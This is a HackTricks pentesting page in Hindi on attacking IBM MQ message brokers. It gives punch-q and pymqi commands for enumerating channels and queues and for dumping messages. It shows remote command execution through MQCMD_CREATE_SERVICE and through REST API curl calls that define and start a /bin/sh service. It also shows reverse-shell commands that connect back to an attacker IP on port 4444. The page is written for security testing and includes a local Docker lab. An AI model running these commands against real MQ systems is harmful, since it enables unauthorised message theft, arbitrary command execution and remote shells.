1414 - Pentesting IBM MQ
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
IBM MQ एक IBM तकनीक है जो message queues को मैनेज करने के लिए उपयोग होती है। अन्य message broker तकनीकों की तरह, यह producers और consumers के बीच जानकारी को प्राप्त करने, स्टोर करने, प्रोसेस करने और वर्गीकृत करने के लिए समर्पित है।
डिफ़ॉल्ट रूप से, यह IBM MQ TCP port 1414 को एक्सपोज़ करता है। कभी-कभी, HTTP REST API पोर्ट 9443 पर एक्सपोज़ हो सकता है। Metrics (Prometheus) को TCP port 9157 से भी एक्सेस किया जा सकता है।
IBM MQ TCP port 1414 का उपयोग messages, queues, channels, … को मैनीपुलेट करने के लिए किया जा सकता है, लेकिन इंसटेंस को कंट्रोल करने के लिए भी।
IBM विस्तृत तकनीकी दस्तावेज़ https://www.ibm.com/docs/en/ibm-mq पर उपलब्ध कराता है।
उपकरण
आसान exploitation के लिए सुझाया गया उपकरण punch-q है, जिसे Docker के साथ उपयोग किया जा सकता है। यह टूल Python लाइब्रेरी pymqi का सक्रिय रूप से उपयोग करता है।
यदि आप अधिक मैनुअल तरीका अपनाना चाहते हैं, तो Python लाइब्रेरी pymqi का उपयोग करें। IBM MQ dependencies आवश्यक हैं।
Installing pymqi
IBM MQ dependencies को इंस्टॉल और लोड करना आवश्यक है:
- https://login.ibm.com/ पर एक अकाउंट (IBMid) बनाएं।
- IBM MQ लाइब्रेरीज़ https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc से डाउनलोड करें। Linux x86_64 के लिए यह 9.0.0.4-IBM-MQC-LinuxX64.tar.gz है।
- Decompress (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)। - लाइसेंस शर्तें स्वीकार करने के लिए
sudo ./mqlicense.shचलाएँ।
यदि आप Kali Linux पर हैं, तो फ़ाइल
mqlicense.shमें बदलाव करें: निम्नलिखित लाइनों (lines 105-110 के बीच) को हटाएँ/comment करें:if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- इन पैकेजों को इंस्टॉल करें:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- फिर, अस्थायी रूप से
.soफाइलें LD में जोड़ें:export LD_LIBRARY_PATH=/opt/mqm/lib64, इन dependencies का उपयोग करने वाले अन्य टूल्स चलाने से पहले।
इसके बाद, आप प्रोजेक्ट pymqi को क्लोन कर सकते हैं: इसमें रोचक code snippets, constants, … होते हैं। या आप सीधे लाइब्रेरी को इंस्टॉल कर सकते हैं: pip install pymqi.
punch-q का उपयोग
Docker के साथ
बस इस्तेमाल करें: sudo docker run --rm -ti leonjza/punch-q.
Docker के बिना
प्रोजेक्ट punch-q को क्लोन करें और फिर इंस्टॉलेशन के लिए README का पालन करें (pip install -r requirements.txt && python3 setup.py install)।
इसके बाद, इसे punch-q कमांड से इस्तेमाल किया जा सकता है।
Enumeration
आप queue manager name, the users, the channels and the queues को punch-q या pymqi से enumerate करने की कोशिश कर सकते हैं।
यदि TCP/1414 फ़िल्टर है या लक्ष्य केवल embedded web server एक्सपोज़ करता है, तो TCP/9443 भी चेक करें। हालिया IBM MQ वर्शन वहाँ डिफ़ॉल्ट रूप से IBM MQ Console / REST API एक्सपोज़ करते हैं जब mqweb सक्षम होता है, और administrative REST endpoint arbitrary MQSC कमांड्स चला सकता है अगर आपके पास वैध credentials हों।
Queue Manager
कभी-कभी Queue Manager name प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
चैनल
punch-q मौजूदा चैनलों को खोजने के लिए एक internal (modifiable) wordlist का उपयोग करता है। उपयोग का उदाहरण:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
ऐसा होता है कि कुछ IBM MQ instances unauthenticated MQ requests स्वीकार करते हैं, इसलिए --username / --password की आवश्यकता नहीं होती। बेशक, access rights भी भिन्न हो सकते हैं।
जैसे ही हमें एक चैनल नाम (यहाँ: DEV.ADMIN.SVRCONN) मिल जाता है, हम बाकी सभी channels का enumeration कर सकते हैं।
यह enumeration मूलतः इस code snippet code/examples/dis_channels.py से, जो pymqi का है, किया जा सकता है:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… पर punch-q भी उस हिस्से को एम्बेड करता है (अधिक जानकारी के साथ!). इसे इस तरह लॉन्च किया जा सकता है:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
कई “कनेक्ट तो होता है पर 2035 लौटाता है” मामले CHLAUTH नियमों या लक्ष्य ऑब्जेक्ट्स पर OAM अनुमतियों की कमी के कारण होते हैं।
यदि आपके पास पहले से प्रबंधकीय MQSC एक्सेस है, तो MATCH(RUNCHECK) यह समझने का सबसे तेज़ तरीका है कि किसी रिमोट कनेक्शन पर कौन-सा नियम लागू होगा:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
REST admin endpoint पर 9443 के माध्यम से, वही जांच दूरस्थ रूप से की जा सकती है:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
यदि आपके पास दूर से PCF का उपयोग करने के पर्याप्त अधिकार हैं, तो IBM MQCMD_INQUIRE_CHLAUTH_RECS एक्सपोज़ करता है, जो चैनल ऑथेंटिकेशन रिकॉर्ड और उनके MCAUSER मैपिंग्स लौटाता है। यह यह पुष्टि करने के लिए उपयोगी है कि कोई चैनल रिमोट उपयोगकर्ताओं को अधिक प्रिविलेज्ड लोकल अकाउंट से मैप करता है या नहीं, इससे पहले कि आप message access, object creation, or service abuse की कोशिश करें।
कतारें
कोड स्निपेट pymqi (dis_queues.py) में है, लेकिन punch-q क्यूज़ के बारे में और अधिक जानकारी प्राप्त करने की अनुमति देता है:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
आप queue(s)/channel(s) को लक्षित करके उनमें से संदेश sniff out / dump कर सकते हैं (non-destructive operation)। उदाहरण:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
सभी पहचाने गए queues पर पुनः परीक्षण करने में संकोच न करें।
कोड निष्पादन
जारी रखने से पहले कुछ विवरण: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, Control Command। कुछ सामान्य सूचियाँ IBM MQ documentation में मिल सकती हैं। PCF (Programmable Command Formats) वही है जिस पर हम instance के साथ दूरस्थ रूप से इंटरैक्ट करने के लिए ध्यान केंद्रित कर रहे हैं। punch-q और साथ ही pymqi PCF interactions पर आधारित हैं।
आप PCF commands की सूची पा सकते हैं:
एक रोचक command है
MQCMD_CREATE_SERVICEऔर इसका documentation यहाँ उपलब्ध है here. यह एक argument के रूप मेंStartCommandलेता है जो instance पर एक स्थानीय प्रोग्राम की ओर इशारा करता है (उदाहरण:/bin/sh)।इस कमांड के बारे में docs में एक चेतावनी भी है: “ध्यान: यह कमांड उपयोगकर्ता को mqm authority के साथ एक arbitrary कमांड चलाने की अनुमति देता है। यदि इस कमांड का उपयोग करने के अधिकार दिए गए हैं, तो एक दुर्भावनापूर्ण या लापरवाह उपयोगकर्ता ऐसी service परिभाषित कर सकता है जो आपके systems या data को नुकसान पहुँचाए, उदाहरण के लिए आवश्यक फाइलें हटाकर।”
नोट: IBM MQ documentation (Administration Reference) के अनुसार, एक HTTP endpoint भी है
/admin/action/qmgr/{qmgrName}/mqscजो service निर्माण के लिए समकक्ष MQSC कमांड (DEFINE SERVICE) चलाने के काम आता है। इस पहलू को अभी यहाँ कवर नहीं किया गया है।
यदि MQ Console / REST API credentials उपलब्ध हों, तो आप अक्सर वही administrative primitives HTTPS पर 9443 पर बिना MQ client libraries का उपयोग किए पहुँच सकते हैं। IBM /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc को एक endpoint के रूप में document करता है जो plain-text MQSC या JSON commands स्वीकार करता है।
Remote program execution के लिए PCF के साथ service creation/deletion punch-q द्वारा किया जा सकता है:
उदाहरण 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
IBM MQ के logs में आप पढ़ सकते हैं कि command is successfully executed:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
आप मशीन पर मौजूद प्रोग्रामों को भी enumerate कर सकते हैं (यहाँ /bin/doesnotexist … मौजूद नहीं है):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
ध्यान दें कि प्रोग्राम लॉन्च असिंक्रोनस है। इसलिए exploit का लाभ उठाने के लिए आपको एक दूसरा आइटम चाहिए (listener for reverse shell, file creation on different service, data exfiltration through network …)
उसी तकनीक को REST API से भी चलाया जा सकता है:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
यह विशेष रूप से उन असेसमेंट्स के दौरान उपयोगी होता है जहाँ:
9443सुलभ है लेकिन1414छोटी स्रोत रेंज तक सीमित है- लक्ष्य टीम IBM MQ को मुख्यतः web console के माध्यम से प्रबंधित करती है और REST roles को harden करना भूल गई है
- आप स्थानीय रूप से IBM MQ client libraries इंस्टॉल करने से बचना चाहते हैं और केवल MQSC-level administration की आवश्यकता है
उदाहरण 2
सरल reverse shell के लिए, punch-q दो reverse shell payloads भी प्रस्तावित करता है:
- एक bash के साथ
- एक perl के साथ
बेशक आप execute कमांड के साथ एक कस्टम बना सकते हैं।
bash के लिए:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
perl के लिए:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
कस्टम PCF
आप IBM MQ डॉक्यूमेंटेशन में गहराई से जाकर सीधे pymqi python लाइब्रेरी का उपयोग करके उन विशिष्ट PCF कमांड का परीक्षण कर सकते हैं जिन्हें punch-q में लागू नहीं किया गया है।
उदाहरण:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
यदि आप constant names नहीं ढूँढ पाते हैं, तो आप IBM MQ documentation का संदर्भ ले सकते हैं।
_उदाहरण
MQCMD_REFRESH_CLUSTER(Decimal = 73) के लिए। इसे पैरामीटरMQCA_CLUSTER_NAME(Decimal = 2029) की आवश्यकता होती है जो_हो सकता है (Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
परीक्षण वातावरण
यदि आप IBM MQ के व्यवहार और exploits का परीक्षण करना चाहते हैं, तो आप Docker पर आधारित एक स्थानीय वातावरण सेटअप कर सकते हैं:
- ibm.com और cloud.ibm.com पर एक अकाउंट होना।
- Create a containerized IBM MQ with:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
यहाँ, क्यू मैनेजर का नाम MYQUEUEMGR (वैरिएबल MQ_QMGR_NAME) पर सेट किया गया है।
हालिया 9.4.x डेवलपर इमेजेस ने डिफ़ॉल्ट व्यवहार बदल दिया है:
adminऔरappकेवल तभी बनाए जाते हैं जब आप उनके पासवर्ड सेट करते हैं- IBM ने
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDको9.4.0.0से अप्रचलित घोषित किया है - पसंदीदा तरीका है
mqAdminPasswordऔरmqAppPasswordनाम के secrets इंजेक्ट करना
Podman के साथ एक त्वरित लोकल लैब के लिए, आप दोनों उपयोगकर्ता इस तरह बना सकते हैं:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
डिफ़ॉल्ट डेवलपर कॉन्फ़िगरेशन के साथ:
DEV.ADMIN.SVRCONNकेवलadminउपयोगकर्ता को अनुमति देता हैDEV.APP.SVRCONNएप्लिकेशन चैनल है और अपेक्षित पहचानappउपयोगकर्ता हैhttps://<target>:9443/ibmmq/consoleएम्बेडेड वेब सर्वर सक्षम होने पर वेब कंसोल को प्रदर्शित करता है
आपके पास IBM MQ चल रहा होना चाहिए और इसके पोर्ट खुले होने चाहिए:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
IBM MQ docker images का पुराना संस्करण यहाँ है: https://hub.docker.com/r/ibmcom/mq/.
संदर्भ
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ documentation
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container default developer configuration
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


